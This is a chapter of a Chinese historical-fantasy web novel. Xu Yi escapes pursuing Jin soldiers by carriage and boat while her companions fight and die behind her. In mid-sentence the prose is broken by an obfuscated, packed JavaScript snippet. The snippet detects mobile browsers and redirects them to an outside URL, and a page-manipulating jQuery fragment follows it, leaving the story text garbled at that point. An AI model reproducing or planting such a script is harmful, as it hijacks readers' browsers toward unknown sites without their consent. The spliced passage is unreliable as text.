“咚”“咚”“咚”几声脆响,流矢咬着马车追过来,扎在了马车的后壁上,有那么几次,许弋觉得箭镞离她的后脑勺可能就只有那么几公分的距离了。 车夫甩着鞭子,在东华门外的六街十八巷里左转右折,飞速地穿行着。车厢东倒西歪地摇晃着飞速前进,惹得马蹄声一阵远一阵近。 “吁!”一个急转后,马车急急地停了下来,许弋冷不防地向前扑去,所幸萧静之一直紧紧地将她扣在怀里,她才没有摔倒。 “遥知,怎么停下来了?”萧静之蹙眉问道。 “公子……我们怕是走不了了。”遥知闷声道。 24. 逃亡 萧静之轻轻按了按许弋的手,提起机弩,掀开车门走了出去。 萧瑟的北风里,破败的街道上,逃命的马车前,肃然立着数十匹高头大马,马上都是身着重甲,手持长枪的女真将士。 将士中有一位头戴兜鍪的,应当便是为首之人,金国西路军统使宁术割。 萧静之抬起头来向前一望,汴河大街就在不远处,那在朦胧的微光里闪烁的,正是汴河上的波水。 只要将殿下送到东盛码头,她便可如游鱼入海,飞鸟归天。 铁甲涌动的声音传来,萧静之回过神,见那为首之人宁术割,金兵们横向排成一队,高举着长矛,向着马车围拢过来。 萧静之抬起机弩,直直地对准了宁术割。 宁术割浓眉一蹙,手腕一转长刀,带起一阵劲风,大有见招拆招的意思。。 萧静之嘴唇微张,发出一声长啸。 片刻后,身着农衣的契丹武士再次从街道边涌出,向着逼近的金兵拼杀过去。 接着他手指轻点,扣动机弩,“咻”“咻”“咻”三支箭簇接连射出。眨眼间,宁术割左右两边的将士便都栽了下去。 宁术割一声怒吼,立马横刀,纵马向着萧静之奔袭来。 “小白,走!”萧静之下令道。 小白长鞭一挥,不管不顾地向着前方直冲过去,眼看两匹马儿就要当街相撞。 宁术割勒紧缰绳向右猛一使力,两匹马儿瞬时擦肩而过。 好机会,就是现在,萧静之从疾行的马车上跃下,他就地一滚,对准后方,又是连发三箭! 此时,宁术割正好调转码头准备进一步追击,眼见箭簇迎面而来,他舞动长刀,“叮”“叮”两声打开了两箭。 剩下的那一箭突破了他的防备,深深插在了马儿的脖颈上,他痛心地抚摸了两下马儿的鬃毛,从它身上跳了下来。 他的马儿踉跄了两步,终是嘶鸣着折着两个前腿跪倒在地。 萧静之算是看明白了,原来刚刚都是因为他强力夹着马腹的,马儿才不至于即刻倒地的。 现下,宁术割面寒如霜,提着长刀,向他一步步走了过来。 萧静之侧头看了看赵芙逃走的方向,一小队金兵依旧坠在其后。 殿下,一定要逃出去啊,而我萧静之欠你的,只有来世再还了。 “萧静之!”许弋从急奔的马车中探出头来向着街道上望去,可等着她的只有流矢。 萧静之削瘦的身影已经被追兵全部挡住。 一道飞箭划过许弋的侧脸,温热的液体从她的脸颊上流下来,许弋不知道,那是眼泪还是血。 车身一个颠簸,许弋再次被震回车厢内,她一手抱着三花,一手扶着车窗,身体简直要被震得散架,怎么,怎么就走到如此地步了呢? “喀啦啦”一声巨响,一柄长枪插进车轮中,急行的马车陷下去一半,被拖在地上前行。 “噗通通”两声闷响,又一柄长枪将奔跑的马儿从捅了个对穿,马儿扑倒在地,车身也瞬间侧翻。 许弋脑袋磕在车窗上,右臂摔在身下,伤口裂开,顿时血流如注。 等她掀开木板从车身下爬出来的时候,却看见小白的脖颈间有着一道深深的伤痕,鲜红的血液从衣襟流到下袍,染红了大半个车轼。 原来,和宁术割擦肩而过的那一刻,他便已经丢了性命。 “姨姨!姨姨!快来!” 许弋抬起头,却见赵元站在不远处的大船上拼命朝自己挥着手,小果子正守在她的身边。 原来,她已经跑了这么远,已经跑过汴河大街了吗? 金兵的马蹄上越来越清晰,仿若鼓声一般在许弋的耳边奏响,她提起下摆疯狂地向前跑动着,只是觉得腿脚越来来越沉重,越来越沉重。 两道暗影从身侧靠近,寒冷的刀光闪过,追着她的脑袋而来。 千钧一发之际,许弋身后车马的废墟之中,一个黑色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14105015|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影子从中站了出来,镶着金边的小纸人从他的指间射出,“哐”“哐”两声脆响,许弋身侧的刀光被挡开,两个金兵先后落下马去。 “乌纯声!”许弋失声向后惊呼道,但回应她的只是一个沉默的黑影。 “姨姨!快点!”赵元焦急地催促道,在她身后,胡秉芮、叶静能、安尧臣、文广通等人都立在船头,焦急地等待着。 许弋狠下心回过头,飞速跑上东盛码头,手忙脚乱地爬上了登船的梯子。 “开船!”小果子一把将许弋拉了上来,撕扯着嗓子高声喊道。 船帆迎着风鼓胀起来,顺着滚滚的汴河浪潮,向着下游驶去。 许弋看向岸边,数十道道黑影在金兵间窜动,杀得他们片甲不留。 她内心不由得恍惚起来,乌纯声啊乌纯声,你到底是谁?你为什么可以控制独属于我的暗影卫?你到底瞒了我多少事?在你消失不见的时间里,你到底又做了什么? 此刻,阿骨打帐中,乌纯声“噗”得喷出一口鲜血,远距离控魂对他来说还是太耗费魂力了,更何况是控魂杀人。 “国师!身体要紧!”阿骨打对着乌纯声关怀道,“大昭那个没什么用的小皇帝,估计跑了也翻不起什么风浪来,朕也没有那么着急找她。” “无妨的,陛下,这都是臣该做的。”乌纯声咽下口中的鲜血回应道,他对赵元与赵芙的位置心知肚明,却一心只想她们可以跑得越远越好。 汴河之上,赵元一头扑进了许弋怀里,“姨姨,元儿好怕再也见不到姨姨了。” 许弋半蹲下来,将赵元揽在怀里,“元儿放心,姨姨不会留元儿一个人在世上的。” 两人还没说几句话,只听“轰”得几声巨响,几条巨龙般的水柱从水面上窜起,惹得船身剧烈地摇晃起来。 许弋一手将赵元揽在身侧,一手紧紧抓着船弦,艰难地站起身来。坠落的水柱掀起一阵阵的雨花扑倒甲板之上,打湿了她的衣衫。